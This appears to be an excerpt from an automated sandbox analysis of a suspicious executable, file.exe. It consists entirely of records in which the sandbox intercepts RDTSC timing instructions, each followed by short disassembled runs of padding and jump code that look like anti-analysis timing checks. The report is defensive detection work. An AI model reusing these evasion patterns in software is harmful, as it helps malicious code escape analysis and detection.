Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425D82 second address: 425D9C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB818EDC0CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425FF8 second address: 425FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425FFC second address: 426009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 426009 second address: 42600F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42600F second address: 426014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 426014 second address: 426079 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB818BA610Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+12466976h], ebx 0x00000011 push dword ptr [ebp+122D2BAFh] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FB818BA6108h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 and dl, 00000048h 0x00000034 call 00007FB818BA6109h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FB818BA6119h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 426079 second address: 42609B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007FB818EDC0D8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007FB818EDC0C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42609B second address: 4260AF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818BA6106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4260AF second address: 4260BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4276C8 second address: 4276CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80175 second address: 4F8018D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8018D second address: 4F80191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80191 second address: 4F801E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FB818EDC0CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB818EDC0CDh 0x0000001a add ax, 7BA6h 0x0000001f jmp 00007FB818EDC0D1h 0x00000024 popfd 0x00000025 jmp 00007FB818EDC0D0h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F801E2 second address: 4F801F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, 7BB6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60E9C second address: 4F60EBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FB818EDC0CBh 0x00000012 pop eax 0x00000013 push edx 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60EBE second address: 4F60EDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6112h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60EDB second address: 4F60EFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60EFA second address: 4F60EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60EFE second address: 4F60F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60F04 second address: 4F60F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60F0A second address: 4F60F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60F0E second address: 4F60F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60F1E second address: 4F60F2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0056 second address: 4FB005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB005C second address: 4FB0062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0062 second address: 4FB0066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0066 second address: 4FB006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB006A second address: 4FB0078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0078 second address: 4FB00B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB818EDC0D7h 0x0000000a or cx, B46Eh 0x0000000f jmp 00007FB818EDC0D9h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB00B4 second address: 4FB00B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB00B9 second address: 4FB00D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov eax, 304FF50Bh 0x0000000f mov bl, al 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB00D2 second address: 4FB00D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB00D6 second address: 4FB00EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40156 second address: 4F401CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushfd 0x0000000c jmp 00007FB818BA610Fh 0x00000011 and ax, AEBEh 0x00000016 jmp 00007FB818BA6119h 0x0000001b popfd 0x0000001c pop eax 0x0000001d mov dh, F1h 0x0000001f popad 0x00000020 push dword ptr [ebp+04h] 0x00000023 jmp 00007FB818BA6118h 0x00000028 push dword ptr [ebp+0Ch] 0x0000002b jmp 00007FB818BA6110h 0x00000030 push dword ptr [ebp+08h] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F401CB second address: 4F401CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F401CF second address: 4F401D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60C73 second address: 4F60C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60C82 second address: 4F60C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA6114h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60786 second address: 4F6078C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6078C second address: 4F60792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60792 second address: 4F607D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FB818EDC0D0h 0x00000010 or esi, 42F86FD8h 0x00000016 jmp 00007FB818EDC0CBh 0x0000001b popfd 0x0000001c mov edx, eax 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB818EDC0D1h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F607D7 second address: 4F607DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F607DD second address: 4F607E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F607E1 second address: 4F607E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7034A second address: 4F70366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0E90 second address: 4FA0E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0E94 second address: 4FA0E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F805D3 second address: 4F805D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F805D7 second address: 4F805DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F805DD second address: 4F80658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818BA610Fh 0x00000008 pushfd 0x00000009 jmp 00007FB818BA6118h 0x0000000e sub eax, 23628238h 0x00000014 jmp 00007FB818BA610Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov cl, 34h 0x00000021 push edx 0x00000022 pop ebx 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007FB818BA6116h 0x0000002b mov eax, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FB818BA6117h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80658 second address: 4F806C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FB818EDC0CBh 0x0000000b adc al, FFFFFFBEh 0x0000000e jmp 00007FB818EDC0D9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 and dword ptr [eax], 00000000h 0x0000001a pushad 0x0000001b mov ax, 2DA3h 0x0000001f mov edi, esi 0x00000021 popad 0x00000022 and dword ptr [eax+04h], 00000000h 0x00000026 jmp 00007FB818EDC0D2h 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FB818EDC0D7h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F806C4 second address: 4F806CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F806CA second address: 4F806CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F806CE second address: 4F806D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F605EC second address: 4F6062E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB818EDC0D0h 0x00000008 sbb ah, FFFFFFE8h 0x0000000b jmp 00007FB818EDC0CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 movzx ecx, dx 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007FB818EDC0D2h 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6062E second address: 4F60632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60632 second address: 4F60638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800E4 second address: 4F800E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800E8 second address: 4F800EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800EE second address: 4F80105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818BA6112h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80105 second address: 4F80126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FB818EDC0D3h 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80392 second address: 4F803D9 instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FB818BA6117h 0x0000000d sub ecx, 1C929EAEh 0x00000013 jmp 00007FB818BA6119h 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F803D9 second address: 4F803DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F803DF second address: 4F80401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 8Eh 0x00000005 push esi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818BA6115h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80401 second address: 4F80407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80407 second address: 4F8040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8040B second address: 4F8040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8040F second address: 4F8042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB818BA6111h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8042E second address: 4F80443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0662 second address: 4FA0666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0666 second address: 4FA066C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA066C second address: 4FA0695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818BA6117h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0695 second address: 4FA06B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ecx, 169C5CC7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f jmp 00007FB818EDC0CAh 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA06B6 second address: 4FA06BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA06BB second address: 4FA0726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB818EDC0CFh 0x00000009 xor eax, 43CB7D3Eh 0x0000000f jmp 00007FB818EDC0D9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FB818EDC0D0h 0x0000001b and al, 00000038h 0x0000001e jmp 00007FB818EDC0CBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FB818EDC0D0h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0726 second address: 4FA072A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA072A second address: 4FA0730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0730 second address: 4FA074D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FA65FCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA074D second address: 4FA0751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0751 second address: 4FA0755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0755 second address: 4FA075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA075B second address: 4FA0761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0761 second address: 4FA0765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0765 second address: 4FA07ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a pushad 0x0000000b mov si, 9C2Fh 0x0000000f call 00007FB818BA6114h 0x00000014 mov bx, ax 0x00000017 pop eax 0x00000018 popad 0x00000019 je 00007FB88AB292DFh 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FB818BA6113h 0x00000026 jmp 00007FB818BA6113h 0x0000002b popfd 0x0000002c mov edx, esi 0x0000002e popad 0x0000002f mov ecx, eax 0x00000031 jmp 00007FB818BA6112h 0x00000036 xor eax, dword ptr [ebp+08h] 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FB818BA6113h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07ED second address: 4FA07F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07F3 second address: 4FA07F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07F8 second address: 4FA081F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB818EDC0D9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA081F second address: 4FA0825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0825 second address: 4FA0829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
